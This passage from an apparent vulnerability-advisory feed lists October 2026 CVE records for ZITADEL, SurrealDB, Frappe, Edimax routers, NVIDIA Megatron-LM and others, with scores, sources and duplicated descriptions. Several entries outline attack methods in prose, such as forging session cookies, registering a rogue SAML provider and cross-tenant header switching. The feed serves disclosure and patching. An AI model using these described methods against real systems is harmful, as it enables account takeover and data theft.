EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109610&date=2026-10-25).
Sources:
NVD CVE-2026-109610: https://nvd.nist.gov/vuln/detail/CVE-2026-109610
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109610&date=2026-10-25
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can call these endpoints to modify documents and data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZITADEL 3.0.0 before 4.19.2 contains an authentication bypass vulnerability in the Login V2 UI that allows unauthenticated attackers to obtain other users' session tokens by...
https://kevwire.com/record/CVE-2026-109373
ZITADEL 3.0.0 before 4.19.2 contains an authentication bypass vulnerability in the Login V2 UI that allows unauthenticated attackers to obtain other users' session tokens by... (Oct 12, 2026).
ZITADEL 3.0.0 before 4.19.2 contains an authentication bypass vulnerability in the Login V2 UI that allows unauthenticated attackers to obtain other users' session tokens by forging unsigned session cookies. Attackers can guess time-ordered session IDs around a victim's sign-in and supply them with empty tokens to receive rotated tokens, taking over accounts including MFA-completed administrator sessions.
CVSS 9.2 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109373).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109373&date=2026-10-25).
Sources:
NVD CVE-2026-109373: https://nvd.nist.gov/vuln/detail/CVE-2026-109373
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109373&date=2026-10-25
ZITADEL 3.0.0 before 4.19.2 contains an authentication bypass vulnerability in the Login V2 UI that allows unauthenticated attackers to obtain other users' session tokens by forging unsigned session cookies. Attackers can guess time-ordered session IDs around a victim's sign-in and supply them with empty tokens to receive rotated tokens, taking over accounts including MFA-completed administrator sessions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZITADEL 4.x before 4.19.2 and 3.x through 3.4.15 contains an authentication bypass in the SAML identity-provider intent callback, which verifies the assertion signature using the...
https://kevwire.com/record/CVE-2026-109372
ZITADEL 4.x before 4.19.2 and 3.x through 3.4.15 contains an authentication bypass in the SAML identity-provider intent callback, which verifies the assertion signature using the... (Oct 12, 2026).
ZITADEL 4.x before 4.19.2 and 3.x through 3.4.15 contains an authentication bypass in the SAML identity-provider intent callback, which verifies the assertion signature using the provider named in the request URL but resolves the user from the login intent without checking they match. Attackers with organization-administrator permission can register a SAML provider with their own signing key to obtain authenticated sessions as any user linked to another SAML provider on the instance, including in other organizations.
CVSS 9.3 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109372).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109372&date=2026-10-25).
Sources:
NVD CVE-2026-109372: https://nvd.nist.gov/vuln/detail/CVE-2026-109372
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109372&date=2026-10-25
ZITADEL 4.x before 4.19.2 and 3.x through 3.4.15 contains an authentication bypass in the SAML identity-provider intent callback, which verifies the assertion signature using the provider named in the request URL but resolves the user from the login intent without checking they match. Attackers with organization-administrator permission can register a SAML provider with their own signing key to obtain authenticated sessions as any user linked to another SAML provider on the instance, including in other organizations.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SurrealDB before 3.3.0 allows cross-tenant access because the SurrealQL USE statement switches a session to any namespace/database without checking that the caller's authenticated...
https://kevwire.com/record/CVE-2026-109343
SurrealDB before 3.3.0 allows cross-tenant access because the SurrealQL USE statement switches a session to any namespace/database without checking that the caller's authenticated... (Oct 12, 2026).
SurrealDB before 3.3.0 allows cross-tenant access because the SurrealQL USE statement switches a session to any namespace/database without checking that the caller's authenticated level covers it. Authenticated namespace, database, or record users can switch to another tenant and read, create, update, or delete rows in tables whose PERMISSIONS allow it, such as PERMISSIONS FULL.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109343).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109343&date=2026-10-25).
Sources:
NVD CVE-2026-109343: https://nvd.nist.gov/vuln/detail/CVE-2026-109343
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109343&date=2026-10-25
SurrealDB before 3.3.0 allows cross-tenant access because the SurrealQL USE statement switches a session to any namespace/database without checking that the caller's authenticated level covers it. Authenticated namespace, database, or record users can switch to another tenant and read, create, update, or delete rows in tables whose PERMISSIONS allow it, such as PERMISSIONS FULL.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SurrealDB before 3.3.0 contains a denial of service vulnerability that allows query-capable users to crash the server by reading non-ASCII header values in embedded JavaScript.
https://kevwire.com/record/CVE-2026-109338
SurrealDB before 3.3.0 contains a denial of service vulnerability that allows query-capable users to crash the server by reading non-ASCII header values in embedded JavaScript. (Oct 12, 2026).
SurrealDB before 3.3.0 contains a denial of service vulnerability that allows query-capable users to crash the server by reading non-ASCII header values in embedded JavaScript. Attackers with scripting enabled can read such values via Headers get(), entries(), values(), or getSetCookie(), or return them from fetch() endpoints, aborting the server process.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109338).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109338&date=2026-10-25).
Sources:
NVD CVE-2026-109338: https://nvd.nist.gov/vuln/detail/CVE-2026-109338
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109338&date=2026-10-25
SurrealDB before 3.3.0 contains a denial of service vulnerability that allows query-capable users to crash the server by reading non-ASCII header values in embedded JavaScript. Attackers with scripting enabled can read such values via Headers get(), entries(), values(), or getSetCookie(), or return them from fetch() endpoints, aborting the server process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SurrealDB before 3.3.0 does not check the caller-selected namespace or database against the level at which a namespace- or database-level system user authenticated, allowing...
https://kevwire.com/record/CVE-2026-109334
SurrealDB before 3.3.0 does not check the caller-selected namespace or database against the level at which a namespace- or database-level system user authenticated, allowing... (Oct 12, 2026).
SurrealDB before 3.3.0 does not check the caller-selected namespace or database against the level at which a namespace- or database-level system user authenticated, allowing cross-tenant access. An authenticated attacker can set the Surreal-NS/Surreal-DB headers on /sql or call the RPC use method to read, create, modify, and delete rows and read DEFINE PARAM values in another tenant where table PERMISSIONS allow it.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109334).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109334&date=2026-10-25).
Sources:
NVD CVE-2026-109334: https://nvd.nist.gov/vuln/detail/CVE-2026-109334
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109334&date=2026-10-25
SurrealDB before 3.3.0 does not check the caller-selected namespace or database against the level at which a namespace- or database-level system user authenticated, allowing cross-tenant access. An authenticated attacker can set the Surreal-NS/Surreal-DB headers on /sql or call the RPC use method to read, create, modify, and delete rows and read DEFINE PARAM values in another tenant where table PERMISSIONS allow it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SurrealDB from 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated record users to read records in other namespaces or databases by...
https://kevwire.com/record/CVE-2026-109333
SurrealDB from 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated record users to read records in other namespaces or databases by... (Oct 12, 2026).
SurrealDB from 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated record users to read records in other namespaces or databases by resolving record ids through FETCH. Attackers can switch to a foreign namespace/database and name a known record id in a RETURN … FETCH query to read another tenant's data when table PERMISSIONS allow reads.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109333).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109333&date=2026-10-25).
Sources:
NVD CVE-2026-109333: https://nvd.nist.gov/vuln/detail/CVE-2026-109333
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109333&date=2026-10-25
SurrealDB from 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated record users to read records in other namespaces or databases by resolving record ids through FETCH. Attackers can switch to a foreign namespace/database and name a known record id in a RETURN … FETCH query to read another tenant's data when table PERMISSIONS allow reads.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav before 2.1.7 contains a denial of service vulnerability that allows authenticated media authors to exhaust memory by uploading compressed oversized raster images.
https://kevwire.com/record/CVE-2026-109324
Grav before 2.1.7 contains a denial of service vulnerability that allows authenticated media authors to exhaust memory by uploading compressed oversized raster images. (Oct 12, 2026).
Grav before 2.1.7 contains a denial of service vulnerability that allows authenticated media authors to exhaust memory by uploading compressed oversized raster images. Attackers can reference a Twig or Markdown transform so GD or Imagick decodes the full source without dimension checks, letting anonymous requests repeatedly cause page unavailability.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109324).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109324&date=2026-10-25).
Sources:
NVD CVE-2026-109324: https://nvd.nist.gov/vuln/detail/CVE-2026-109324
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109324&date=2026-10-25
Grav before 2.1.7 contains a denial of service vulnerability that allows authenticated media authors to exhaust memory by uploading compressed oversized raster images. Attackers can reference a Twig or Markdown transform so GD or Imagick decodes the full source without dimension checks, letting anonymous requests repeatedly cause page unavailability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang through 0.5.21 contains an unbounded memory allocation vulnerability that allows unauthenticated remote attackers to exhaust memory by uploading oversized files to...
https://kevwire.com/record/CVE-2026-109225
SGLang through 0.5.21 contains an unbounded memory allocation vulnerability that allows unauthenticated remote attackers to exhaust memory by uploading oversized files to... (Oct 12, 2026).
SGLang through 0.5.21 contains an unbounded memory allocation vulnerability that allows unauthenticated remote attackers to exhaust memory by uploading oversized files to /v1/audio/transcriptions. Attackers can send concurrent large multipart uploads, which are fully read into memory before validation, to crash the HTTP/tokenizer worker and deny service.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109225).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109225&date=2026-10-25).
Sources:
NVD CVE-2026-109225: https://nvd.nist.gov/vuln/detail/CVE-2026-109225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109225&date=2026-10-25
SGLang through 0.5.21 contains an unbounded memory allocation vulnerability that allows unauthenticated remote attackers to exhaust memory by uploading oversized files to /v1/audio/transcriptions. Attackers can send concurrent large multipart uploads, which are fully read into memory before validation, to crash the HTTP/tokenizer worker and deny service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in KusalkaSilva Learning-Management-System up to ffeb873f8803f1e9664384ff75000c7da45466d2. This impacts the function mysql_query of the file...
https://kevwire.com/record/CVE-2026-108921
A vulnerability was detected in KusalkaSilva Learning-Management-System up to ffeb873f8803f1e9664384ff75000c7da45466d2. This impacts the function mysql_query of the file... (Oct 12, 2026).
A vulnerability was detected in KusalkaSilva Learning-Management-System up to ffeb873f8803f1e9664384ff75000c7da45466d2. This impacts the function mysql_query of the file remove_announcements.php of the component State-Changing Endpoints. Performing a manipulation of the argument ID results in missing authentication. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108921).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108921&date=2026-10-25).
Sources:
NVD CVE-2026-108921: https://nvd.nist.gov/vuln/detail/CVE-2026-108921
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108921&date=2026-10-25
A vulnerability was detected in KusalkaSilva Learning-Management-System up to ffeb873f8803f1e9664384ff75000c7da45466d2. This impacts the function mysql_query of the file remove_announcements.php of the component State-Changing Endpoints. Performing a manipulation of the argument ID results in missing authentication. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in Edimax BR-6208AC 1.32. This issue affects some unknown processing of the file /goform/formAutoFWupgrade.
https://kevwire.com/record/CVE-2026-108917
A vulnerability was determined in Edimax BR-6208AC 1.32. This issue affects some unknown processing of the file /goform/formAutoFWupgrade. (Oct 12, 2026).
A vulnerability was determined in Edimax BR-6208AC 1.32. This issue affects some unknown processing of the file /goform/formAutoFWupgrade. Executing a manipulation of the argument tftpsIP can lead to command injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 9.3 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108917).
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108917&date=2026-10-25).
Sources:
NVD CVE-2026-108917: https://nvd.nist.gov/vuln/detail/CVE-2026-108917
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108917&date=2026-10-25
A vulnerability was determined in Edimax BR-6208AC 1.32. This issue affects some unknown processing of the file /goform/formAutoFWupgrade. Executing a manipulation of the argument tftpsIP can lead to command injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in Edimax BR-6208AC 1.32. This affects an unknown part of the file /goform/formWlanMP.
https://kevwire.com/record/CVE-2026-108915
A vulnerability has been found in Edimax BR-6208AC 1.32. This affects an unknown part of the file /goform/formWlanMP. (Oct 12, 2026).
A vulnerability has been found in Edimax BR-6208AC 1.32. This affects an unknown part of the file /goform/formWlanMP. Such manipulation of the argument ateBW leads to buffer overflow. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108915).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108915&date=2026-10-25).
Sources:
NVD CVE-2026-108915: https://nvd.nist.gov/vuln/detail/CVE-2026-108915
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108915&date=2026-10-25
A vulnerability has been found in Edimax BR-6208AC 1.32. This affects an unknown part of the file /goform/formWlanMP. Such manipulation of the argument ateBW leads to buffer overflow. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in Netcore NR268 1.7.121109. Affected is the function user_ok of the component CGI Execution.
https://kevwire.com/record/CVE-2026-108907
A vulnerability was determined in Netcore NR268 1.7.121109. Affected is the function user_ok of the component CGI Execution. (Oct 12, 2026).
A vulnerability was determined in Netcore NR268 1.7.121109. Affected is the function user_ok of the component CGI Execution. This manipulation causes improper authentication. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 9.3 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108907).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108907&date=2026-10-25).
Sources:
NVD CVE-2026-108907: https://nvd.nist.gov/vuln/detail/CVE-2026-108907
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108907&date=2026-10-25
A vulnerability was determined in Netcore NR268 1.7.121109. Affected is the function user_ok of the component CGI Execution. This manipulation causes improper authentication. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Plane is an open-source project management tool.
https://kevwire.com/record/CVE-2026-102982
Plane is an open-source project management tool. (Oct 13, 2026).
Plane is an open-source project management tool. Prior to 1.4.0, the plane comments fail to sanitize unsafe URL schemes stored in comment_html. A project member can store a crafted link in a comment, and attacker-controlled script executes in the browser context of another user who selects the link. This issue is fixed in version 1.4.0.
CVSS 8.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102982).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102982&date=2026-10-25).
Sources:
NVD CVE-2026-102982: https://nvd.nist.gov/vuln/detail/CVE-2026-102982
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102982&date=2026-10-25
Plane is an open-source project management tool. Prior to 1.4.0, the plane comments fail to sanitize unsafe URL schemes stored in comment_html. A project member can store a crafted link in a comment, and attacker-controlled script executes in the browser context of another user who selects the link. This issue is fixed in version 1.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe before 14.81.4 and 15.x before 15.41.0 contains an improper privilege management vulnerability involving a certain document action that permits escalation from the Website...
https://kevwire.com/record/CVE-2024-58390
Frappe before 14.81.4 and 15.x before 15.41.0 contains an improper privilege management vulnerability involving a certain document action that permits escalation from the Website... (Oct 12, 2026).
Frappe before 14.81.4 and 15.x before 15.41.0 contains an improper privilege management vulnerability involving a certain document action that permits escalation from the Website User role to System Manager. Authenticated attackers with Website User access can combine this document action with additional steps to obtain administrative System Manager privileges in the Frappe application.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2024-58390).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-58390&date=2026-10-25).
Sources:
NVD CVE-2024-58390: https://nvd.nist.gov/vuln/detail/CVE-2024-58390
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-58390&date=2026-10-25
Frappe before 14.81.4 and 15.x before 15.41.0 contains an improper privilege management vulnerability involving a certain document action that permits escalation from the Website User role to System Manager. Authenticated attackers with Website User access can combine this document action with additional steps to obtain administrative System Manager privileges in the Frappe application.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file.
https://kevwire.com/record/CVE-2026-65180
NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. (Oct 13, 2026).
NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65180).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65180&date=2026-10-25).
Sources:
NVD CVE-2026-65180: https://nvd.nist.gov/vuln/detail/CVE-2026-65180
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65180&date=2026-10-25
NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA AIStore for Linux contains a vulnerability in the distributed sort component where an attacker could cause server-side request forgery by supplying a crafted external key...
https://kevwire.com/record/CVE-2026-65101
NVIDIA AIStore for Linux contains a vulnerability in the distributed sort component where an attacker could cause server-side request forgery by supplying a crafted external key... (Oct 13, 2026).
NVIDIA AIStore for Linux contains a vulnerability in the distributed sort component where an attacker could cause server-side request forgery by supplying a crafted external key map URL. A successful exploit of this vulnerability might lead to information disclosure.
CVSS 8.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65101).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65101&date=2026-10-25).
Sources:
NVD CVE-2026-65101: https://nvd.nist.gov/vuln/detail/CVE-2026-65101
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65101&date=2026-10-25
NVIDIA AIStore for Linux contains a vulnerability in the distributed sort component where an attacker could cause server-side request forgery by supplying a crafted external key map URL. A successful exploit of this vulnerability might lead to information disclosure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA AIStore for Linux contains a path traversal vulnerability in the target-side object rename handler, where an unauthenticated remote attacker could cause an improper...
https://kevwire.com/record/CVE-2026-65103
NVIDIA AIStore for Linux contains a path traversal vulnerability in the target-side object rename handler, where an unauthenticated remote attacker could cause an improper... (Oct 13, 2026).
NVIDIA AIStore for Linux contains a path traversal vulnerability in the target-side object rename handler, where an unauthenticated remote attacker could cause an improper limitation of a pathname to a restricted directory by submitting a crafted rename destination directly to an AIStore target, resulting in the arbitrary creation or overwrite of a file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, data tampering, and denial of service.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65103).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65103&date=2026-10-25).
Sources:
NVD CVE-2026-65103: https://nvd.nist.gov/vuln/detail/CVE-2026-65103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65103&date=2026-10-25
NVIDIA AIStore for Linux contains a path traversal vulnerability in the target-side object rename handler, where an unauthenticated remote attacker could cause an improper limitation of a pathname to a restricted directory by submitting a crafted rename destination directly to an AIStore target, resulting in the arbitrary creation or overwrite of a file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, data tampering, and denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA Megatron-LM for all platforms contains a vulnerability in inference, where an attacker could cause hash collisions in the cache used for inference requests.
https://kevwire.com/record/CVE-2026-65104
NVIDIA Megatron-LM for all platforms contains a vulnerability in inference, where an attacker could cause hash collisions in the cache used for inference requests. (Oct 13, 2026).
NVIDIA Megatron-LM for all platforms contains a vulnerability in inference, where an attacker could cause hash collisions in the cache used for inference requests. A successful exploit of this vulnerability might lead to data tampering and partial information disclosure.
CVSS 7.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65104).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65104&date=2026-10-25).
Sources:
NVD CVE-2026-65104: https://nvd.nist.gov/vuln/detail/CVE-2026-65104
